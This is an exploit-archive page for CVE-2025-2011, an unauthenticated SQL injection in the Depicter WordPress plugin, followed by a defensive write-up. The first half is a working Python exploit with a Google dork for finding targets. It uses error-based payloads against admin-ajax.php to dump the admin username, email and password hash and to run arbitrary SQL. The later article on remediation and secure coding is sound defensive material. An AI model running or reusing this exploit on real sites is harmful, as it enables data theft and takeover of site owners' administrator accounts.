WordPress Depicter Plugin 3.6.1 - SQL Injection

Exploit Author: Andrew Long Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2025-05-09
# Exploit Title: WordPress Depicter Plugin 3.6.1 - SQL Injection
# Google Dork: inurl:/wp-content/plugins/depicter/
# Date: 2025-05-06
# Exploit Author: Andrew Long (datagoboom)
# Vendor Homepage: https://wordpress.org/plugins/depicter/
# Software Link: https://downloads.wordpress.org/plugin/depicter.3.6.1.zip
# Version: <= 3.6.1
# Tested on: WordPress 6.x
# CVE: CVE-2025-2011
 
# Description:
# The Slider & Popup Builder by Depicter plugin for WordPress is vulnerable to SQL Injection via the 's' parameter in all versions up to, and including, 3.6.1.
# The vulnerability exists due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.
# This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

# The vulnerability is located in the admin-ajax.php endpoint and can be exploited through the 's' parameter. The PoC demonstrates how to:
# 1. Check if a target is vulnerable
# 2. Extract admin user details
# 3. Execute custom SQL queries

# The exploit is provided as a Python script (poc.py) that includes:
# - Error-based SQL injection detection
# - Admin user information extraction
# - Custom SQL query execution capability
# - Debug mode for detailed output
 

#!/usr/bin/env python3

import argparse
import re
import sys
import time
import html
import urllib.parse
from urllib.parse import urlparse

try:
    import requests
    from colorama import Fore, Style, init
    init(autoreset=True)
    USE_COLOR = True
except ImportError:
    class MockColorama:
        def __getattr__(self, name):
            return ""
    
    Fore = Style = MockColorama()
    USE_COLOR = False
    
    print("[!] Missing dependencies. Install with: pip install requests colorama")
    print("[!] Continuing without colored output...")

def print_banner():
    banner = f"""
{Fore.CYAN}╔════════════════════════════════════════════════════════════════╗
{Fore.CYAN}║ {Fore.RED}CVE-2025-2011 - SQLi in Depicter Slider & Popup Builder <3.6.2 {Fore.CYAN}║
{Fore.CYAN}║ {Fore.GREEN}By datagoboom                                          {Fore.CYAN}        ║
{Fore.CYAN}╚════════════════════════════════════════════════════════════════╝{Style.RESET_ALL}
    """
    print(banner)

def verify_target(url):
    parsed_url = urlparse(url)
    if not parsed_url.scheme:
        url = "http://" + url
    if url.endswith('/'):
        url = url[:-1]
    
    print(f"{Fore.YELLOW}[*] Target URL: {url}")
    return url

def test_connection(url):
    try:
        response = requests.get(url, timeout=10)
        if response.status_code == 200:
            print(f"{Fore.GREEN}[+] Successfully connected to the target")
            return True
        else:
            print(f"{Fore.RED}[-] Received status code {response.status_code}")
            return False
    except requests.exceptions.RequestException as e:
        print(f"{Fore.RED}[-] Connection error: {e}")
        return False

def extract_data(url, sql_query, max_length=50, debug=False):
    payload = f"test%' AND EXTRACTVALUE(1,CONCAT(0x7e,({sql_query}),0x7e))='&perpage=20&page=1&orderBy=source_id&dateEnd=&dateStart=&order=DESC&sources=&action=depicter-lead-index"
    
    target_url = f"{url}/wp-admin/admin-ajax.php?s={payload}"
    
    try:
        if debug:
            print(f"{Fore.BLUE}[DEBUG] Requesting: {target_url}")
        
        response = requests.get(target_url, timeout=20)
        
        if debug:
            print(f"{Fore.BLUE}[DEBUG] Response status: {response.status_code}")
        
        decoded_text = html.unescape(response.text)
        
        error_pattern = r"XPATH syntax error: '~(.*?)~'"
        match = re.search(error_pattern, decoded_text)
        
        if match:
            extracted_data = match.group(1)
            return extracted_data
        else:
            if debug:
                print(f"{Fore.RED}[-] No XPATH syntax error found in response")
                if "XPATH syntax error" in decoded_text:
                    print(f"{Fore.RED}[-] XPATH error found but regex didn't match. Response excerpt:")
                    print(f"{Fore.RED}[-] {decoded_text[:500]}")
                else:
                    print(f"{Fore.RED}[-] Response doesn't contain XPATH error. Response excerpt:")
                    print(f"{Fore.RED}[-] {decoded_text[:500]}")
            return None
    except requests.exceptions.RequestException as e:
        print(f"{Fore.RED}[-] Error during extraction: {e}")
        return None

def check_vulnerability(url, debug=False):
    print(f"{Fore.YELLOW}[*] Checking if the target is vulnerable...")
    
    result = extract_data(url, "database()", debug=debug)
    
    if result:
        print(f"{Fore.GREEN}[+] Target is VULNERABLE!")
        print(f"{Fore.GREEN}[+] Database name: {result}")
        return True
    else:
        result = extract_data(url, "VERSION()", debug=debug)
        if result:
            print(f"{Fore.GREEN}[+] Target is VULNERABLE!")
            print(f"{Fore.GREEN}[+] MySQL version: {result}")
            return True
        else:
            result = extract_data(url, "'test'", debug=debug)
            if result:
                print(f"{Fore.GREEN}[+] Target is VULNERABLE!")
                print(f"{Fore.GREEN}[+] Test value: {result}")
                return True
            else:
                print(f"{Fore.RED}[-] Target does not appear to be vulnerable")
                manual_check = f"{url}/wp-admin/admin-ajax.php?s=test%' AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))='&perpage=20&page=1&orderBy=source_id&dateEnd=&dateStart=&order=DESC&sources=&action=depicter-lead-index"
                print(f"{Fore.YELLOW}[*] Try checking manually in your browser: \n{manual_check}")
                return False

def extract_admin_details(url, debug=False):
    print(f"{Fore.YELLOW}[*] Extracting admin user details...")
    
    admin_username = extract_data(url, "SELECT user_login FROM wp_users WHERE ID=1 LIMIT 1", debug=debug)
    
    if admin_username:
        print(f"{Fore.GREEN}[+] Admin username: {admin_username}")
        
        admin_email = extract_data(url, "SELECT user_email FROM wp_users WHERE ID=1 LIMIT 1", debug=debug)
        if admin_email:
            print(f"{Fore.GREEN}[+] Admin email: {admin_email}")
        
        hash_left = extract_data(url, "SELECT LEFT(user_pass,30) FROM wp_users WHERE ID=1 LIMIT 1", debug=debug)
        if hash_left:
            hash_right = extract_data(url, "SELECT SUBSTRING(user_pass,31,30) FROM wp_users WHERE ID=1 LIMIT 1", debug=debug)
            if hash_right:
                full_hash = hash_left + hash_right
            else:
                print(f"{Fore.YELLOW}[*] Could not retrieve full hash - bcrypt hashes are typically 60 chars long")
            print(f"{Fore.GREEN}[+] Admin password hash: {full_hash}")
        else:
            print(f"{Fore.RED}[-] Failed to extract admin password hash")
        
        return {
            "username": admin_username,
            "email": admin_email,
            "password_hash": hash_left
        }
    else:
        print(f"{Fore.RED}[-] Failed to extract admin details")
        return None

def extract_custom_data(url, query, debug=False):
    print(f"{Fore.YELLOW}[*] Executing custom SQL query...")
    print(f"{Fore.YELLOW}[*] Query: {query}")
    
    result = extract_data(url, query, debug=debug)
    
    if result:
        print(f"{Fore.GREEN}[+] Result: {result}")
        return result
    else:
        print(f"{Fore.RED}[-] Failed to execute query or no results returned")
        return None

def main():
    parser = argparse.ArgumentParser(description='CVE-2025-2011 - SQLi in Depicter Slider & Popup Builder')
    parser.add_argument('-u', '--url', required=True, help='Target WordPress URL')
    parser.add_argument('-m', '--mode', default='check', choices=['check', 'admin', 'custom'], 
                      help='Extraction mode: check=vulnerability check, admin=admin details, custom=custom SQL query')
    parser.add_argument('-q', '--query', help='Custom SQL query (use with -m custom)')
    parser.add_argument('-d', '--debug', action='store_true', help='Enable debug output')
    
    args = parser.parse_args()
    
    print_banner()
    
    target_url = verify_target(args.url)
    
    if not test_connection(target_url):
        print(f"{Fore.RED}[-] Exiting due to connection failure")
        sys.exit(1)
    
    if not check_vulnerability(target_url, debug=args.debug):
        if args.mode != 'check':
            print(f"{Fore.YELLOW}[!] Target may not be vulnerable, but continuing with requested mode...")
        else:
            print(f"{Fore.RED}[-] Exiting as target does not appear to be vulnerable")
            sys.exit(1)
    
    if args.mode == 'check':
        pass
    elif args.mode == 'admin':
        extract_admin_details(target_url, debug=args.debug)
    elif args.mode == 'custom':
        if not args.query:
            print(f"{Fore.RED}[-] Custom mode requires a SQL query (-q/--query)")
            sys.exit(1)
        extract_custom_data(target_url, args.query, debug=args.debug)
    
    print(f"\n{Fore.YELLOW}[!] Exploitation complete")

if __name__ == "__main__":
    main()


WordPress Depicter Plugin 3.6.1 — CVE-2025-2011 (SQL Injection)

The Slider & Popup Builder by Depicter (WordPress plugin) versions up to and including 3.6.1 are affected by a critical SQL injection vulnerability (CVE-2025-2011). This article explains what the issue is, why it matters, how to detect it safely, and — most importantly — how to mitigate and remediate it using secure coding and operational controls.

Vulnerability summary

SQL injection (SQLi) occurs when user-supplied input is incorporated into a database query without proper validation or parameterization, allowing an attacker to manipulate that query. In this case, an unauthenticated request path exposed by the plugin allowed specially crafted input to influence an SQL query executed on the site’s database. That weakness can be abused to enumerate database contents and extract sensitive data, including user records and authentication hashes.

Affected versions and exposure

Component Value
Plugin Depicter — Slider & Popup Builder
Affected versions Up to and including 3.6.1
CVE CVE-2025-2011
Attack surface admin-ajax.php endpoint (publicly reachable, unauthenticated)

Impact and risk

  • Data exposure: Attackers can extract database contents, such as user emails, usernames, and password hashes.
  • Account takeover: Retrieved password hashes may allow offline cracking attempts, increasing the risk of administrative account compromise.
  • Site compromise: With sensitive data or privileged account access, an attacker could install backdoors, modify content, or pivot to other systems.
  • Supply chain and reputational risk: Compromised sites may be used to distribute malware or phishing pages, affecting visitors and clients.

Safe detection and non-exploitative testing

When you suspect a site may be vulnerable, follow safe, non-destructive checks:

  • Check the installed plugin version via the WordPress admin Plugins page or by inspecting the plugin header file on disk. If the site uses a patched version, it is likely not vulnerable.
  • Review web server and application logs for unusual requests targeting admin-ajax.php or the plugin paths (requests from unknown IPs, large numbers of requests, or repeated requests with unusual query parameters).
  • Look for error messages in logs or site output indicating database or XML/XPath errors; these can be signs of attempted exploitation. Do not craft or send exploit payloads to production systems.
  • Use up-to-date vulnerability scanners in authenticated mode (if you manage the site) that only perform passive checks or explicitly supported checks that do not execute payloads.

Immediate remediation steps (incident response)

  • Patch or remove: Update the Depicter plugin to a non-vulnerable version as soon as an official fix is available. If a fix is not available and the plugin is not needed, deactivate and delete it.
  • Rotate credentials: If compromise is suspected, reset WordPress administrator passwords and any other credentials that may be affected. Force password resets for staff if needed.
  • Inspect for persistence: Search the WordPress filesystem and database for unexpected admin users, modified themes/plugins, web shells, or injected code. Restore from a known-good backup if integrity cannot be assured.
  • Limit exposure: If possible, restrict access to admin-ajax.php for unauthenticated users by introducing server-side rules or plugin-based access controls until a patch is applied.
  • Contain and monitor: Block offending IPs, enable enhanced logging, and monitor for further unusual activity while remediation is ongoing.

Hardening and long-term mitigations

  • Keep WordPress core, themes, and plugins updated and subscribe to security advisories for critical third-party components.
  • Run principle-of-least-privilege for the database account used by WordPress (only grant the permissions WordPress needs for normal operation).
  • Employ a Web Application Firewall (WAF) with tuned SQL injection protections and anomaly detection for admin-ajax.php patterns.
  • Harden logging and alerting (file integrity monitoring, central log aggregation) so suspicious changes are identified quickly.
  • Restrict plugin installation to vetted and necessary components only; remove unused plugins.

Secure coding practices for WordPress plugin authors

To prevent SQL injection, WordPress developers should always treat input as untrusted and use WordPress’s built-in sanitization and parameterization helpers. Two common safe approaches are:

  • Use $wpdb->prepare() for raw SQL queries to ensure proper escaping of values passed to SQL.
  • Use higher-level APIs such as WP_Query, WP_User_Query, or the REST API where possible, and sanitize inputs with functions like sanitize_text_field(), intval(), and esc_sql()/esc_like() when appropriate.

Example: insecure vs secure query handling in WordPress

<?php
// INSECURE (vulnerable to SQL injection)
$search = isset($_GET['s']) ? $_GET['s'] : '';
$sql = "SELECT ID, post_title FROM {$wpdb->posts} WHERE post_content LIKE '%{$search}%'";
$rows = $wpdb->get_results( $sql );
?>

Explanation: This example concatenates raw user input into an SQL string. An attacker-controlled value in $_GET['s'] can alter the SQL structure and lead to data exfiltration or other malicious effects.

<?php
// SECURE (uses prepare(), esc_like(), and sanitize)
$search = isset($_GET['s']) ? wp_unslash( $_GET['s'] ) : '';
$search = sanitize_text_field( $search );                  // remove dangerous characters
$search = '%' . $wpdb->esc_like( $search ) . '%';           // safely prepare for LIKE
$sql = $wpdb->prepare( "SELECT ID, post_title FROM {$wpdb->posts} WHERE post_content LIKE %s", $search );
$rows = $wpdb->get_results( $sql );
?>

Explanation: This corrected snippet cleans the input, escapes characters used in LIKE patterns, and uses $wpdb->prepare() to bind values safely. This prevents attackers from injecting SQL syntax into the query.

Additional secure patterns

When building endpoints (including admin-ajax.php handlers or REST routes):

  • Validate and coerce types early (e.g., cast integers with intval(), validate expected enumerated values).
  • Use capability checks (e.g., current_user_can()) where actions must be restricted to authorized users.
  • Reduce the attack surface by avoiding public endpoints that accept arbitrary SQL-like parameters.

Operational checklist for site owners

  • Confirm plugin version: If using Depicter <= 3.6.1, update immediately or remove the plugin until patched.
  • Audit logs for suspicious admin-ajax or plugin path requests and for any indicators of data access or DNS/network anomalies.
  • Rotate secrets, change administrator passwords, and inspect user accounts for unauthorized additions.
  • Scan for web shells and unexpected file changes; restore from trusted backups if necessary.
  • Consider enabling 2FA for administrative accounts and restrict admin access by IP where feasible.

Responsible disclosure and coordination

If you discover a vulnerability in a plugin:

  • Contact the plugin maintainer and submit details through their official support or security channel.
  • Provide proof-of-concept in a private, controlled manner only to maintainers and coordinating CERT teams; do not publish working exploit chains publicly.
  • Coordinate patching and disclosure timelines to allow site operators time to update before public details are released.

References & further reading

Item Notes
Official plugin page Check the WordPress.org plugin page or plugin changelog for security releases
Security basics OWASP SQL Injection Prevention Cheat Sheet and WordPress Developer Handbook on Data Validation
CVE CVE-2025-2011 — see vendor advisory and vulnerability databases for timeline and patch information

Summary

CVE-2025-2011 is a severe SQL injection vulnerability that affects Depicter plugin versions up to 3.6.1. Site owners should prioritize patching, auditing, and hardening to reduce exposure. Plugin authors must use WordPress APIs like $wpdb->prepare(), input sanitization, and capability checks to avoid similar flaws. Finally, coordinate disclosures and remediation carefully to protect users and infrastructure.